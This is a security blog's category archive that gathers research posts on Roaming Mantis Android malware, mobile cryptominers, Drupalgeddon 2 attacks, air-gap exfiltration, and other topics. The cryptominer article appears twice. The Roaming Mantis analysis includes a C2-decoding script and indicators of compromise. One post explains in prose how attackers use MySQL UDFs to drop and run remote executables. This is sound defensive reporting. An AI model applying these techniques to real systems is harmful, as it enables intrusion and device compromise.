Category Archives: research

Researchers propose scheme to secure brain implants

A group of researchers from KU Leuven, Belgium, have proposed a practical security scheme that would allow secure communications between a widely used implantable neurostimulator – an electrical brain implant used to treat a number of medical issues – and its external device programmer. Other researchers have already noted that motivated attackers could find ways to hack brain implants due to their poor or inexistent security, and have pointed out that, while the current risk … More

The post Researchers propose scheme to secure brain implants appeared first on Help Net Security.

Researchers develop algorithm to detect fake users on social networks

Ben-Gurion University of the Negev and University of Washington researchers have developed a new generic method to detect fake accounts on most types of social networks, including Facebook and Twitter. According to their new study in Social Network Analysis and Mining, the new method is based on the assumption that fake accounts tend to establish improbable links to other users in the networks. “With recent disturbing news about failures to safeguard user privacy, and targeted … More

The post Researchers develop algorithm to detect fake users on social networks appeared first on Help Net Security.

Real-time detection of consumer IoT devices participating in DDoS attacks

Could we detect compromised consumer IoT devices participating in a DDoS attack in real-time and do someting about it? A group of researchers Princeton University have presented some encouraging results showing that the first part of that equation can be relatively easily solved. As IoT traffic is often distinct from that of other Internet connected devices and as machine learning has proved promising for identifying malicious Internet traffic, they decided to use these facts to … More

The post Real-time detection of consumer IoT devices participating in DDoS attacks appeared first on Help Net Security.

Roaming Mantis uses DNS hijacking to infect Android smartphones

In March 2018, Japanese media reported the hijacking of DNS settings on routers located in Japan, redirecting users to malicious IP addresses. The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker. According to our telemetry data, this malware was detected more than 6,000 times, though the reports came from just 150 unique users (from February 9 to April 9, 2018). Of course, this is down to the nature of the malware distribution, but it also suggests a very painful experience for some users, who saw the same malware appear again and again in their network. More than half of the detections were observed targeting the Asian region.

During our research we received some invaluable information about the true scale of this attack. There were thousands of daily connections to the command and control (C2) infrastructure, with the device locale for the majority of victims set to Korean. Since we didn’t find a pre-existing name for this malware operation, we decided to assign a new one for future reference. Based on its propagation via smartphones roaming between Wi-Fi networks, potentially carrying and spreading the infection, we decided to call it ‘Roaming Mantis’.

Distribution

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message (screenshot below): “To better experience the browsing, update to the latest chrome version.”

Looking at the HTML source of the malicious webpage, it seems to support five locales: Korean, Traditional Chinese, Simplified Chinese, Japanese and English.

However, after carefully studying the HTML source, we found that the actual number of target locales is only four: Korean, Simplified Chinese, Japanese and English, based on Android devices. As shown in the image above, the HTML code contains an identical message in Traditional Chinese and Simplified Chinese. Also, the HTML source contains several short code comments in Simplified Chinese.

Analyzing chrome.apk

One of the applications pushed to users impersonated a Chrome browser for Android. Kaspersky Lab got a copy of chrome.apk (md5:f3ca571b2d1f0ecff371fb82119d1afe) in April 2018. The Android application package structure is as follows:

The package contains classes.dex, which is a Dalvik VM executable file. Its main purpose is to read the file named /assets/db. It decodes the data inside with a Base64 decoder and produces another Dalvik VM executable named test.dex:

The extracted test.dex contains the main malicious payload, which is described in more detail below. The Base64 encoding technique is probably used to bypass trivial signature-based detection.

AndroidManifest.xml contains one of the key components of the package – the permissions requested by the application from the device owner during installation.

From the xml above, it seems that Roaming Mantis requests permission to be notified when the device is booted, using the internet, collecting account information, managing SMS/MMS and making calls, recording audio, controlling external storage, checking packages, working with file systems, drawing overlay windows and so on. All these requests are of course backed up by malicious functionality implemented in test.dex.

For instance, after installation, the malware overlays all other windows with one carrying a message in broken English: “Account No.exists risks, use after certification”. After that, the malware starts its own webserver on the device, and renders a page spoofing Google’s authentication on 127.0.0.1.

The page uses a Google account name obtained from the infected device and asks the owner to complete two input boxes with ‘Name:’ and ‘Date of birth:’, which would facilitate access to the user account. After the user enters their name and date of birth, the browser is redirected to a blank page at http://127.0.0.1:${random_port}/submit.

While analyzing the extracted test.dex, we found an interesting piece of code.

Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English. The code above was taken from an original Google authentication page intended for an English environment, though we aren’t sure why the three Korean strings appear here. The English translations are as follows:

  • I have an anomaly on my Google account. For voice verification, enter your verification number to verify your Google account. //구글 계정이 이상이 있습니다.음성검증을 들어 인증번호를 입력하여 구글 계정을 검증하도록합니다. 아니면 정상사
  • Verification Number. //인증번호
  • Please enter your verification number. //인증번호를 입력하세요

Judging by these strings, it’s clear that the criminals behind the malware are trying to get a verification code for two-factor authentication. There may be a bug or design fault that causes Korean strings to be displayed not just for Korean users but also for those using Japanese and English. Traditional Chinese users will see strings in Traditional Chinese. The authors could have overlooked this in the rush to launch the campaign, but it reveals a certain bias by the authors towards Korean and Traditional Chinese.

Permission to receive/read/write/send SMS/MMS and record audio could also allow the malware operators to steal a verification code for the two-factor authentication function.

Secondly, this malware contains references to Android application IDs popular in South Korea and mostly linked to mobile banking and games.

The following hardcoded strings were extracted from the malware:

  • wooribank.pib.smart
  • kbstar.kbbank
  • ibk.neobanking
  • sc.danb.scbankapp
  • shinhan.sbanking
  • hanabank.ebk.channel.android.hananbank
  • smart
  • epost.psf.sdsi
  • kftc.kjbsmb
  • smg.spbs
  • webzen.muorigin.google
  • ncsoft.lineagem19
  • ncsoft.lineagem
  • co.neople.neopleotp
  • co.happymoney.android.happymoney
  • nexon.axe
  • nexon.nxplay
  • atsolution.android.uotp2

Another piece of code verifies the presence of the su binary in /system/bin/, /system/xbin/, /system/sbin/, sbin/ or /vendor/bin/ on a device.

Regular Android devices do not have the su binary. Its presence means the device is probably rooted. For attackers this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system.

C2 communication

Kaspersky Lab discovered a hardcoded URL template (http://my.tv.sohu.com/user/%s) in the malicious application used for malware control. The site my.tv.sohu.com is legitimate; however, some content on the user profile pages is controlled by the owners of the profiles.

A list of account IDs separated by the “|” character were included in the malware: “329505231|329505325|329505338”.

After getting the content from the sohu.com webpage, the malware extracts a Chinese string from a specific part of the HTML code.

For example, the malicious application receives the page at http://my.tv.sohu.com/user/329505338.

After that, it uses the hardcoded regular expression “<p>([\u4e00-\u9fa5]+?)</p>\s+</div>” to extract a Chinese string located in a very distinct place on the web page. Next, each character is decoded by subtracting 0x4E00, doing a right bitwise shift operation for 3 bits and xoring using the word “beg” as the key.

The result is the real C2 address, which the malware connects to by using a web socket. We traced this activity in the debug log of an infected device.

In another recent sample (MD5:4d9a7e425f8c8b02d598ef0a0a776a58), the connection protocol, including a hardcoded legitimate website, accounts and the regular expression for retrieving next level C2, had been changed:

MD5 f3ca571b2d1f0ecff371fb82119d1afe 4d9a7e425f8c8b02d598ef0a0a776a58
Date March 29 2018 April 7 2018
Legitimate web http://my.tv.sohu[.]com/user/%s https://www.baidu[.]com/p/%s/detail
account_IDs ● 329505231
● 329505325
● 329505338
● haoxingfu88
● haoxingfu12389
● wokaixin158998
pattern “<p>([\u4e00-\u9fa5]+?)</p>\s+</div>” “公司</span>([\\u4e00-\\u9fa5]+?)<“
Encrypted dex \assets\db \assets\data.sql
Encoding Base64 Base64 + zlib compression

In addition, the \assets\db file name was changed to \assets\data.sql and it’s encoding algorithm have also been changed from Base64 to Base64+zlib. The malware author seems to be updating the code quite regularly.

Researchers wishing to track Roaming Mantis campaign can use the following simplified python script to decode the real C2 server.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import re
page = open(sys.argv[1],"rb").read()
#pattern = u'&lt;p&gt;([\u4e00-\u9fa5]+?)&lt;/p&gt;\s+&lt;/div&gt;' # my.tv.sohu.com
pattern = u'公司&lt;/span&gt;([\u4e00-\u9fa5]+?)&lt;' # baidu.com
match = re.search(pattern, page.decode("utf-8"))
ext = match.group(1)
dec = ''
j = 0
for i in range(len(ext)):
dec = dec + chr((ord(ext[i]) - 0x4e00) &gt;&gt; 3 ^ ord('beg'[j]))
j = (j+1) %3
print(dec)

An example of script input and output:

$ python dec_facebook_apk.py my.tv.sohu.com_329505338.html
220.136.76[.]200:8844
$ python dec_facebook_apk.py www.baidu.com_p_wokaixin158998_detail.html
220.136.179[.]5:28833

Most interestingly, the malware is embedded with a new feature that communicates with the C2 via email protocols. The data sent contains language, phone number, access information, and the result of a PING test to the C2.

Malware detection statistics

Kaspersky Lab products detect Roaming Mantis’s malicious apk file as Trojan-Banker.AndroidOS.Wroba. Based on the verdict, we checked the statistics from Kaspersky Security Network (KSN) for the two months from February 9 to April 9, 2018.

There were more than 6,000 detections coming from just over 150 unique users. The most affected countries were South Korea, Bangladesh and Japan. Based on the design of the malware and our detection statistics, this malware was designed to be spread mainly in Asian countries. While Kaspersky Lab products may only see a limited number of infections, based on further analysis of the C2 infrastructure we saw roughly 3,000 connections to C2 infrastructure per day, which suggests a much larger scale for this Android malware campaign. Upon every connection the malware sends information about compromised devices to the C2, including system locale, which indicates the possible origins of the victims. 98% of affected devices appear to have the Korean locale set.

We have done some calculations and built the following chart based on observed locales:

The breakdown of the remaining 2% reveals a few more system locales: en_GB, en_US, zh_CN, ja_JP and others.

As usual in such cases, Kaspersky Lab has got in touch with local CERTs (South Korea being the first) to provide information about the victims to help unsuspecting users remove the malware and prevent further reinfections.

Conclusions

Kaspersky Lab observed Roaming Mantis’ Android application being distributed via a DNS hijacking technique with the help of compromised routers. The malware aims to steal user information, including credentials for two-factor authentication, and give the attackers full control over compromised Android devices.

At the moment, clues appear to suggest a financial motive and low OPSEC for this attack, which is why we think it is likely to be the work of cybercriminal hackers.

Our research revealed that the malare contains Android application IDs for popular mobile banking and game applications in South Korea. The malware is most prevalent in South Korea, and Korean is the first language targeted in HTML and test.dex. Based on our findings, it appears the malicious app was originally distributed to South Korean targets. Support was then added for Traditional Chinese, English and Japanese, broadening its target base in the Asian region.

However, it’s still unclear how the attackers hijacked the router DNS settings. If you have any concerns about the DNS settings on your router, please check the user manual and verify that your DNS settings haven’t been tampered with, or contact your ISP for support. Kaspersky Lab also strongly recommends changing the default login and password for the admin web interface of their router, never install firmware from third-party sources and regularly update router firmware to prevent similar attacks in the future.

Based on our investigation, the Roaming Mantis attackers left some additional clues. For example, some comments in the HTML source, malware strings and a hardcoded legitimate website point to Simplified Chinese. Therefore, we believe the cybercriminals are familiar with both Simplified Chinese and Korean.

The malicious threat actor behind this campaign remains very active and the malware is updated every day. We will keep tracking this campaign to protect our customers and update our readers with new information.

Kaspersky Lab products detect this malware with the following verdict(s):
HEUR:Trojan-Banker.AndroidOS.Wroba

IOC

Malicious hosts:
114.44.37[.]112
118.166.1[.]124
118.168.193[.]123
128.14.50[.]146
128.14.50[.]147
220.136.111[.]66
220.136.179[.]5
220.136.76[.]200
43.240.14[.]44
haoxingfu01.ddns[.]net
shaoye11.hopto[.]org

Malicious apks:
03108e7f426416b0eaca9132f082d568
1cc88a79424091121a83d58b6886ea7a
2a1da7e17edaefc0468dbf25a0f60390
31e61e52d38f19cf3958df2239fba1a7
34efc3ebf51a6511c0d12cce7592db73
4d9a7e425f8c8b02d598ef0a0a776a58
808b186ddfa5e62ee882d5bdb94cc6e2
904b4d615c05952bcf58f35acadee5c1
a21322b2416fce17a1877542d16929d5
b84b0d5f128a8e0621733a6f3b412e19
bd90279ad5c5a813bc34c06093665e55
ff163a92f2622f2b8330a5730d3d636c

class.dex:
19e3daf40460aea22962d98de4bc32d2
36b2609a98aa39c730c2f5b49097d0ad
3ba4882dbf2dd6bd4fc0f54ec1373f4c
6cac4c9eda750a69e435c801a7ca7b8d
8a4ed9c4a66d7ccb3d155f85383ea3b3
b43335b043212355619fd827b01be9a0
b7afa4b2dafb57886fc47a1355824199
f89214bfa4b4ac9000087e4253e7f754

test.dex:
1bd7815bece1b54b7728b8dd16f1d3a9
307d2780185ba2b8c5ad4c9256407504
3e4bff0e8ed962f3c420692a35d2e503
57abbe642b85fa00b1f76f62acad4d3b
6e1926d548ffac0f6cedfb4a4f49196e
7714321baf6a54b09baa6a777b9742ef
7aa46b4d67c3ab07caa53e8d8df3005c
a0f88c77b183da227b9902968862c2b9

Researchers use power lines to exfiltrate data from air-gapped computers

Researchers from the Ben-Gurion University of the Negev have come up with another way to exfiltrate data from air-gapped computers: this time, its via malware that can control the power consumption of the system. “Data is modulated, encoded, and transmitted on top of the current flow fluctuations, and then it is conducted and propagated through the power lines,” they pointed out. They call this malware PowerHammer. Data exfiltration via power lines They have devised two … More

The post Researchers use power lines to exfiltrate data from air-gapped computers appeared first on Help Net Security.

Drupalgeddon 2.0: Are Hackers Slacking Off?

Ever since March 28th, when Drupal published a patch for a RCE named Drupalgeddon 2.0 (SA-CORE-2018-002/CVE-2018-7600), Imperva has been monitoring our cloud looking for hackers’ attempts to exploit the vulnerability, but found nothing. Until today.

It somehow seems fitting that nefarious activity picked up today, Friday the 13th. After a POC exploit was released, our monitoring services showed that hackers are finally starting to catch up! Since the RCE exploit was publicly disclosed two weeks ago, they could have been working on their own exploits, but didn’t.

Lazy Hackers

As usual when exploits become known, we go into hyper-awareness mode looking for security events (and of course, protecting our customers), but no events were identified. Not a single attack. We rang to some of our teammates looking for answers, asking if they deleted events, but no—it’s just simply that no one attempted to exploit this newfound bug and it took them two whole weeks to reverse the patch.

It appeared every one of the black hats was waiting for someone else to do the research and share the exploit. Perhaps most hackers don’t care for the actual work of finding ways to exploit a vulnerability. They just wait until something is public and then use it to attack. Before that, we saw almost no traffic whatsoever!

Attack Data

The chart below is just the beginning of the numbers we’re now seeing in our cloud, and they are continuing to rise (Figure 1).

drupalgeddon 2 attacks by date

Figure 1: Attacks by date

To this point, we have seen 90% of the attack attempts are scanners, 3% are backdoor infection attempts, and 2% are attempts to run crypto miners on the targets (Figure 2).

drupalgeddon 2 attacks by distribution type

Figure 2: Attacks by distribution type

Also, most of the attacks originated from the US (53%) and China (45%) (Figure 3).

drupalgeddon 2 attacks by geo

Figure 3: Location source of attacks

Imperva Customers Protected

We applied a virtual patch to Imperva SecureSphere and Incapsula WAF customers within hours of identifying the RCE vulnerability.

In addition to our zero-day protection rules that spotted this attack, we also published a new dedicated security rule to provide maximum protection to Imperva SecureSphere and Incapsula WAF customers against this vulnerability.

How security researchers deal with risks stemming from their activities

Broad and inconsistent interpretations of behind the times laws, new anti-infosec legislation, lawsuits and criminal prosecutions are having a chilling effect on security research. It’s difficult to quantify the effect, but Joseph Lorenzo Hall and Stan Adams of the US-based non-profit Center for Democracy & Technology have attempted to reveal the worries and choices of security researchers in the current climate by interviewing twenty of them. “We used a qualitative methods research design to understand … More

The post How security researchers deal with risks stemming from their activities appeared first on Help Net Security.

A Deep Dive into Database Attacks [Part IV]: Delivery and Execution of Malicious Executables through SQL Commands (MySQL)

In a previous post we covered different techniques for execution of SQL and OS commands through Microsoft SQL server that can be used for delivering and executing malicious payloads on the target system. In this post we’ll discuss the same topic for MySQL database.

Creating an executable directly on MySQL server via SQL commands

In the one of the previous posts (link to part I) we mentioned that HEX encoded queries are often used against databases as binary-to-hex conversion methods to create a payload on a target system through SQL commands. A payload is converted from hexadecimal format back to a binary executable, and then gets executed while exploiting different database and operating system features through SQL commands.

We observed the following methods to create and execute executables on MySQL servers’ filesystem:

 Method 1 – via SQL execution

The following example demonstrates a method to create and execute a dynamic-link library (DLL) or a Linux shared object (SO) on a MySQL server – without having direct access permissions to disk:

This attack (which is not new) loads a DLL (which converted to HEX string) into a newly created table yongger2 (“yongger” translates from Chinese as “brave”). This attack then uses the SELECT FROM TABLE… INTO DUMPFILE command to extract the DLL from the new table into the cna12.dll file in MySQL plugin directory. This method works if the plugin directory (the directory named by the plugin_dir system variable) is writable.

Once the DLL is created, MySQL server’s main process (mysqld) is notified about a new xpdl3() function using the CREATE FUNCTION command. This function is a downloader for another executable. It downloads the executable 123.exe through an HTTP request from a remote server (located in China). Then 123.exe is saved as c:\isetup.exe on a target filesystem, executed and then removed from the disk.

The following figure summarizes this attack method:

Figure 1: Technique to create DLL and execute its function using SQL commands

Figure 1: Technique to create DLL and execute its function using SQL commands

Method 2 – via operating system execution

The following example demonstrates a method of writing a binary shared object (SO) directly on a filesystem to MySQL plugin_dir:

The attack steps are as follows:

  • HEX encoded shared object is decoded by the UNHEX function to a binary format and then dumped into a file
  • Set the global log_bin_trust_function_creatorssystem variable to 1 to relax the preceding conditions on function creation (you must have the SUPER privilege and that a function must be declared deterministic or to not modify data)
  • Create sys_eval user-defined function (UDF) from shared object (so)
  • Call sys_eval function which is instructed to download an executable from the attacker’s server (using cURL[1]), change the executable’s permissions to full access (chmod 777) and execute it
Figure 2: Technique to create Shared Object on Linux OS and execute its function using SQL commands

Figure 2: Technique to create Shared Object on Linux OS and execute its function using SQL commands

Download executables to MySQL server via SQL commands

In Mysql database, User-Defined Function (UDF) remains one of the few methods available for running commands on the server through the database.It is supported as a function loaded from an external library, such as DLL or Linux shared object. We’ll describe the method in detail in our next blog in the series.

After attacker uploads or creates an external library on server’s file system, they can execute its functions. Formerly, the attacker abuse UDF functions to download a malicous executables from a remote server.

The following are examples for this technique:

Summary

In this post we covered various methods for executing SQL and OS commands through MySQL database, which can be used to deliver and execute malicious payloads on a targeted system. With the next post in this series, we’ll describe techniques engaged by attackers to perform external and internal reconnaissance and to increase the attack surface.

[1] cURL is a computer software project providing a library and command-line tool for transferring data using various protocols.

Establishing covert communication channels by abusing GSM AT commands

Security research often starts as a hobby project, and Alfonso Muñoz’s and Jorge Cuadrado’s probe into mobile privacy is no exception. The duo, who’s scheduled to reveal the results of their research at the Hack in the Box Conference in Amsterdam next week, ended up finding a way to establishing covert communication channels over GSM by abusing GSM AT commands. The investigation The first step of their investigation was to build a DIY mobile phone, … More

The post Establishing covert communication channels by abusing GSM AT commands appeared first on Help Net Security.

Pocket cryptofarms

In recent months, the topic of cryptocurrency has been a permanent news fixture — the value of digital money has been see-sawing spectacularly. Such pyrotechnics could hardly have escaped the attention of scammers, which is why cryptocurrency fluctuations have gone hand in hand with all kinds of stories. These include hacked exchanges, Bitcoin and Monero ransoms, and, of course, hidden mining. We’ve noticed that attackers no longer limit themselves to servers, desktops, and laptops. They are increasingly drawn to mobile devices, mainly Android. We decided to take a closer look to see which mobile apps stealthily mine digital coins on user devices and how widespread they are.

Primitive counterfeit apps

We found several types of malware posing as popular programs and games, but actually just showing ads and secretly mining cryptocurrencies using the CoinHive SDK. In particular, we unearthed counterfeit versions of Instagram, Netflix, Bitmoji, and others. The scammers had added the word “hack” to the original app names. These “hacked” apps were distributed through forums and third-party stores. Kaspersky Lab products detect such programs as RiskTool.AndroidOS.Miner.

Fragment of RiskTool.AndroidOS.Miner.a code that runs a hidden miner and displays an advertising page

Advertising page that RiskTool.AndroidOS.Miner.a shows to the user

Primitive miners based on web frameworks

There are a number of web frameworks that make it easy to create mobile apps, including miners. At the heart of such apps there lies a web page containing a JS script for mining cryptocurrency (for example, the CoinHive script). Most of the miners we found of this type were based on the Thunkable and Cordova frameworks. These apps are most commonly distributed through third-party sites, although one of them was found in the official Google Play store, where it was removed after we reported it.

Screenshot of a game in the Google Play store that mined cryptocurrency

We also found one app built on a different framework, Andromo. It looks like a discount aggregator at first glance, but instead of linking to sites with discounted products, it loads a page that mines cryptocurrency and doesn’t even try to hide it:

One more app caught our eye — Crypto Mining for Children. Based on the B4A framework, it was found in the official Google store (at the time of writing this article it had been deleted). Its stated goal was to mine cryptocurrency for charity. But the description contained no word about where or how the coins would be spent — something that any bona fide fundraising organization would publish. What’s more, the name of the developer bore a striking resemblance to that of a well-known mobile app (a cryptocurrency wallet), but with one letter missing. That’s a common trick used by phishers.

Useful apps infected with miners

This category is made of programs that Kaspersky Lab products detect as Trojan.AndroidOS.Coinge; they are popular apps in which cybercriminals have added malicious code for mining cryptocurrency.

Infected version of the TSF Launcher app

Interestingly, the cybercriminals added the malicious code to the code of other SDKs used by the app. That way, the app runs a library that does the mining. Not only that, we managed to detect a modification of this Trojan that does away with the need for a library: the malware adds its code to all web pages it opens. It’s worth noting that both methods of infection are similar to those used by Trojan-PSW.AndroidOS.MyVk to steal passwords.

A modification of Trojan.AndroidOS.Coinge adds mining code to all opened web pages

We managed to detect 23 different apps infected by Trojan.AndroidOS.Coinge.

Miners in apps for watching soccer

According to Kaspersky Security Network, the most common mining apps among those we found were connected to the topic of soccer. The name PlacarTV (placar means “account” in Portuguese) or something similar cropped up frequently. The main function of such apps was to show soccer videos while secretly mining cryptocurrency.

The PlacarTV app uses CoinHive for mining

The PlacarTV app interface

Our data shows that some of these apps were distributed through Google Play, with the most popular having been installed more than 100,000 times.

A modification of the PlacarTV app that was distributed through Google Play

The apps access the placartv.com server. This same domain is used in the developer’s email address specified in the Google Play store. Unbeknown to visitors, the site placartv.com runs a script that mines cryptocurrency.

Code of the placartv.com page used to mine cryptocurrency

Mobile clickers

Members of the Trojan.Clicker malware family typically open web pages and click them without the user noticing. Such pages can contain both adverts and subscriptions to WAP services. But having started to make easy money from unsuspecting users, the creators seemingly got greedy. And it wasn’t long before cryptocurrency mining was added to the feature set of some clickers. We already analyzed a similar case when a miner was caught lurking in the modules of the Loapi Trojan.

Another Trojan-turned-miner is Ubsob. This malware poses as a suite of useful apps. When started, it downloads and installs an app that it uses to mask itself. Its creators broadened their horizons by adding code borrowed from the app NeoNeonMiner for cryptomining.

Installation of the original app initialized by the Ubsob Trojan

Furthermore, the Trojan requests device administrator rights to establish a foothold in the system. This means that to delete it, it must first be removed from the list of device administrators. During the process, the malware displays a scary message – “These action can lead to data lost. Are you really wont to erase all your data?”

Message displayed by the Ubsob Trojan when attempting to deprive it of administrator rights

The Trojan mainly “resides” in CIS countries, above all Russia.

Other interesting finds

Fire-prevention miner

Probably the most interesting Trojan we analyzed is Trojan.AndroidOS.Coinge.j. It has no legitimate app functions at all and installs itself either as a porn app or as an Android system app. As soon as it starts, the malware requests device administrator rights to prevent its removal.

Trojan.AndroidOS.Coinge.j requests device administrator rights

The Trojan uses several layers of encryption and obfuscation to protect its code from analysis, but that’s not the only string to its bow. The malware monitors the device battery and temperature to mine cryptocurrency without posing a fire hazard. It seems the cybercriminals have no desire to repeat the “success” of Loapi, which incinerated our test phone.

Almost a third (29%) of the Trojan’s victims were in India. It is also active in the United States (8%), Britain (6%), Iran (5%), and Ukraine (5%). Like Ubsod, it uses the code of a legitimate app to mine cryptocurrencies.

VPN with undocumented features

We found another battery and temperature-monitoring miner in Google Play under the guise of the Vilny.net VPN app for establishing a VPN connection. By the time of detection, it had been installed more than 50,000 times. We reported it to Google.

Code of the Vilny.net VPN app

Information about the Vilny.net VPN app on Google Play

Conclusion

Keep in mind that mobile mining has a number of limitations:

  • First, mobile devices trail a long way behind desktop systems performance-wise, let alone dedicated mining farms, which eats into the profitability of cryptocurrency mining on mobile devices.
  • Second, heavy use of mobile devices causes them to heat up noticeably, alerting the user.
  • Lastly, smartphones’ relatively small battery power means they discharge quickly if used intensively, making mining more visible to the user and time-limited.

However, our study showed that cybercriminals are not put off by these limitations. We uncovered numerous mobile miners built on various frameworks and distributed in various ways, including through the official Google Play store. Perhaps cybercriminals are banking on compensating for smartphones’ poor performance and mobile miners’ easy detection through the sheer number of handheld devices out there and their high infectibility.

MD5

F9C4A28284CD7A4534A1102C20F04C9D
B32DBBFBB0D4EC97C59B50D29DDAAA2D
2D846265F6569547490FCB38970FC93E
6E1FDFBDAB69090FEA77B3F2F33098A8
5464647B09D5F2E064183A073AE97D7B
5B7324C165EE6AF26CDA55293DAEACDF
E771099ACA570F53A94BE713A3C2ED63
3062659C25F44EEA5FE8D3D85C99907D
AEBB87E9AEA464EFB6FCC550BF7D2D38
38CE6C161F87345B773795553AAE2C28
CA3E7A442D5A316DA9ED8DB3C4D913A7
34F43BAAFAEBDAC4CC582E1AAACF26BD
F8DE7065A7D9F191FD0A53289CDB959B
34EB1FFDC8D9D5DD3C32A0ACC4995E29
020A9064D3819A0293940A4F0B36DD2A
EE78507A293D007C47F3D2D471AAD013
0E129E2F4EA3C09BFB0C4841E173580C
50BF20954B8388FA3D5E048E6FA493A9

Securelist – Kaspersky Lab’s cyberthreat research and reports: Pocket cryptofarms

In recent months, the topic of cryptocurrency has been a permanent news fixture — the value of digital money has been see-sawing spectacularly. Such pyrotechnics could hardly have escaped the attention of scammers, which is why cryptocurrency fluctuations have gone hand in hand with all kinds of stories. These include hacked exchanges, Bitcoin and Monero ransoms, and, of course, hidden mining. We’ve noticed that attackers no longer limit themselves to servers, desktops, and laptops. They are increasingly drawn to mobile devices, mainly Android. We decided to take a closer look to see which mobile apps stealthily mine digital coins on user devices and how widespread they are.

Primitive counterfeit apps

We found several types of malware posing as popular programs and games, but actually just showing ads and secretly mining cryptocurrencies using the CoinHive SDK. In particular, we unearthed counterfeit versions of Instagram, Netflix, Bitmoji, and others. The scammers had added the word “hack” to the original app names. These “hacked” apps were distributed through forums and third-party stores. Kaspersky Lab products detect such programs as RiskTool.AndroidOS.Miner.

Fragment of RiskTool.AndroidOS.Miner.a code that runs a hidden miner and displays an advertising page

Advertising page that RiskTool.AndroidOS.Miner.a shows to the user

Primitive miners based on web frameworks

There are a number of web frameworks that make it easy to create mobile apps, including miners. At the heart of such apps there lies a web page containing a JS script for mining cryptocurrency (for example, the CoinHive script). Most of the miners we found of this type were based on the Thunkable and Cordova frameworks. These apps are most commonly distributed through third-party sites, although one of them was found in the official Google Play store, where it was removed after we reported it.

Screenshot of a game in the Google Play store that mined cryptocurrency

We also found one app built on a different framework, Andromo. It looks like a discount aggregator at first glance, but instead of linking to sites with discounted products, it loads a page that mines cryptocurrency and doesn’t even try to hide it:

One more app caught our eye — Crypto Mining for Children. Based on the B4A framework, it was found in the official Google store (at the time of writing this article it had been deleted). Its stated goal was to mine cryptocurrency for charity. But the description contained no word about where or how the coins would be spent — something that any bona fide fundraising organization would publish. What’s more, the name of the developer bore a striking resemblance to that of a well-known mobile app (a cryptocurrency wallet), but with one letter missing. That’s a common trick used by phishers.

Useful apps infected with miners

This category is made of programs that Kaspersky Lab products detect as Trojan.AndroidOS.Coinge; they are popular apps in which cybercriminals have added malicious code for mining cryptocurrency.

Infected version of the TSF Launcher app

Interestingly, the cybercriminals added the malicious code to the code of other SDKs used by the app. That way, the app runs a library that does the mining. Not only that, we managed to detect a modification of this Trojan that does away with the need for a library: the malware adds its code to all web pages it opens. It’s worth noting that both methods of infection are similar to those used by Trojan-PSW.AndroidOS.MyVk to steal passwords.

A modification of Trojan.AndroidOS.Coinge adds mining code to all opened web pages

We managed to detect 23 different apps infected by Trojan.AndroidOS.Coinge.

Miners in apps for watching soccer

According to Kaspersky Security Network, the most common mining apps among those we found were connected to the topic of soccer. The name PlacarTV (placar means “account” in Portuguese) or something similar cropped up frequently. The main function of such apps was to show soccer videos while secretly mining cryptocurrency.

The PlacarTV app uses CoinHive for mining

The PlacarTV app interface

Our data shows that some of these apps were distributed through Google Play, with the most popular having been installed more than 100,000 times.

A modification of the PlacarTV app that was distributed through Google Play

The apps access the placartv.com server. This same domain is used in the developer’s email address specified in the Google Play store. Unbeknown to visitors, the site placartv.com runs a script that mines cryptocurrency.

Code of the placartv.com page used to mine cryptocurrency

Mobile clickers

Members of the Trojan.Clicker malware family typically open web pages and click them without the user noticing. Such pages can contain both adverts and subscriptions to WAP services. But having started to make easy money from unsuspecting users, the creators seemingly got greedy. And it wasn’t long before cryptocurrency mining was added to the feature set of some clickers. We already analyzed a similar case when a miner was caught lurking in the modules of the Loapi Trojan.

Another Trojan-turned-miner is Ubsob. This malware poses as a suite of useful apps. When started, it downloads and installs an app that it uses to mask itself. Its creators broadened their horizons by adding code borrowed from the app NeoNeonMiner for cryptomining.

Installation of the original app initialized by the Ubsob Trojan

Furthermore, the Trojan requests device administrator rights to establish a foothold in the system. This means that to delete it, it must first be removed from the list of device administrators. During the process, the malware displays a scary message – “These action can lead to data lost. Are you really wont to erase all your data?”

Message displayed by the Ubsob Trojan when attempting to deprive it of administrator rights

The Trojan mainly “resides” in CIS countries, above all Russia.

Other interesting finds

Fire-prevention miner

Probably the most interesting Trojan we analyzed is Trojan.AndroidOS.Coinge.j. It has no legitimate app functions at all and installs itself either as a porn app or as an Android system app. As soon as it starts, the malware requests device administrator rights to prevent its removal.

Trojan.AndroidOS.Coinge.j requests device administrator rights

The Trojan uses several layers of encryption and obfuscation to protect its code from analysis, but that’s not the only string to its bow. The malware monitors the device battery and temperature to mine cryptocurrency without posing a fire hazard. It seems the cybercriminals have no desire to repeat the “success” of Loapi, which incinerated our test phone.

Almost a third (29%) of the Trojan’s victims were in India. It is also active in the United States (8%), Britain (6%), Iran (5%), and Ukraine (5%). Like Ubsod, it uses the code of a legitimate app to mine cryptocurrencies.

VPN with undocumented features

We found another battery and temperature-monitoring miner in Google Play under the guise of the Vilny.net VPN app for establishing a VPN connection. By the time of detection, it had been installed more than 50,000 times. We reported it to Google.

Code of the Vilny.net VPN app

Information about the Vilny.net VPN app on Google Play

Conclusion

Keep in mind that mobile mining has a number of limitations:

  • First, mobile devices trail a long way behind desktop systems performance-wise, let alone dedicated mining farms, which eats into the profitability of cryptocurrency mining on mobile devices.
  • Second, heavy use of mobile devices causes them to heat up noticeably, alerting the user.
  • Lastly, smartphones’ relatively small battery power means they discharge quickly if used intensively, making mining more visible to the user and time-limited.

However, our study showed that cybercriminals are not put off by these limitations. We uncovered numerous mobile miners built on various frameworks and distributed in various ways, including through the official Google Play store. Perhaps cybercriminals are banking on compensating for smartphones’ poor performance and mobile miners’ easy detection through the sheer number of handheld devices out there and their high infectibility.

MD5

F9C4A28284CD7A4534A1102C20F04C9D
B32DBBFBB0D4EC97C59B50D29DDAAA2D
2D846265F6569547490FCB38970FC93E
6E1FDFBDAB69090FEA77B3F2F33098A8
5464647B09D5F2E064183A073AE97D7B
5B7324C165EE6AF26CDA55293DAEACDF
